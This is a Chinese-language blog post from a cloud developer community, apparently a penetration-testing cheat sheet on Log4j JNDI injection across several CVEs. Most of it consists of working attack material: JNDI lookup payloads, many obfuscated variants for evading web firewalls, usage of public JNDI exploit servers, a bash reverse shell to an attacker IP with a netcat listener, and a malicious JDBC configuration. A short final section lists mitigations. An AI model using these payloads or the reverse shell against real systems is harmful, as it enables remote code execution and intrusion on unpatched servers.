前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Log4j-JNDI注入RCE

Log4j-JNDI注入RCE

作者头像
Naraku
发布2022-02-24 14:15:30
1.6K0
发布2022-02-24 14:15:30
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

漏洞简介

漏洞利用

Log4j 2.14.1 - RCE

CVE-2021-44228

POC
代码语言:javascript
复制
${jndi:ldap://xxx.dnslog.cn/exp}

# Bypass
${j${lower:n}di:l${lower:d}ap://xxx.dnslog.cn/exp}
RCE
  • 首先Netcat监听端口
代码语言:javascript
复制
$ nc -lvnp <Port>
代码语言:javascript
复制
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <IP>
# -l <LDAP_Port> , 默认1389
# -p <HTTP_Port> , 默认8080

# 触发: 通过cmd参数传递命令
${jndi:ldap://<IP>:<LDAP_Port>/TomcatBypass/TomcatEcho}

# 反弹Shell
/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<NC_Port> 0>&1'
代码语言:javascript
复制
# bash -i >& /dev/tcp/<VPS_IP>/<Port> 0>&1  # Base64编码

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<编码字符串>" -A "<VPS_IP>"

# 触发
${jndi:rmi://<IP>:<Port>/xxxxxx

Log4j 2.15.0-RC1 - RCE

  • Bypass:加个空格
代码语言:javascript
复制
${jndi:ldap://127.0.0.1:1389/ badClassName}

Log4j 2.15.0 - DoS/RCE(限制过多)

CVE-2021-45046

  • 参考文章:
    • Apache Log4j2拒绝服务漏洞分析
    • 浅谈Log4j2之2.15.0版本RCE
  • DoS POC
代码语言:javascript
复制
${jndi:ldap://127.0.0.1}

Log4j 2.16.0

CVE-2021-45105

Log4j 2.17.0 - RCE(需修改目标配置文件)

CVE-2021-44832, 通过JDBCAPPENDERDataSource元素RCE

  • 前提条件:需要配置文件JDBC连接可控
  • 以官方文档为例:
代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
    <JDBC name="databaseAppender" tableName="dbo.application_log">
             <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
         <Column ...
    </JDBC>
 </Appenders>
...
</Configuration>
  • 修改为:
代码语言:javascript
复制
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

Trick

不出网回显

  • 浅谈Log4j2信息泄露与不出网回显

Bypass WAF

代码语言:javascript
复制
${lower:test}
${upper:qwer}
${hostName}     # 主机名
${java:version} # Java版本
${java:vm}
${java:runtime}
  • Example:
代码语言:javascript
复制
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

X-Api-Version

  • 一些情况下请求头X-Api-Version字段存在漏洞,利用方法一样。这个弹不到Shell,但是有请求记录

本地环境

代码语言:javascript
复制
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<CMD>" -A <IP>

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1
代码语言:javascript
复制
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");
    }
}
  • pom.xml
代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

</project>

本地自查

修复方案

  1. 临时性缓解措施(任选一种,但是注意,只有 >=2.10.0 版本才可以用,老版本不支持这个选项)
    • 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
    • 系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true
    • 创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true
  2. 彻底修复漏洞:
    • 研发环境修复:升级到官方提供的 log4j-2.15.0-rc2 版本
    • 生产环境修复:https://github.com/zhangyoufu/log4j2-without-jndi 由长亭工程师提供的删除了 JndiLookup.class 的对应版本直接替换重启即可。
    • 如果不放心网上下载的版本,也可以自己手动解压删除,删除jar包里的这个漏洞相关的class,然后重启服务即可:
代码语言:javascript
复制
$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  1. 找长亭技术支持工程师获取虚拟补丁或者使用牧云直接检测。

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1946434

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022 年 01 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞简介
  • 漏洞利用
    • Log4j 2.14.1 - RCE
      • POC
      • RCE
    • Log4j 2.15.0-RC1 - RCE
      • Log4j 2.15.0 - DoS/RCE(限制过多)
        • Log4j 2.16.0
          • Log4j 2.17.0 - RCE(需修改目标配置文件)
          • Trick
            • 不出网回显
              • Bypass WAF
                • X-Api-Version
                  • 本地环境
                    • 本地自查
                      • 修复方案
                      相关产品与服务
                      检测工具
                      域名服务检测工具(Detection Tools)提供了全面的智能化域名诊断,包括Whois、DNS生效等特性检测,同时提供SSL证书相关特性检测,保障您的域名和网站健康。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档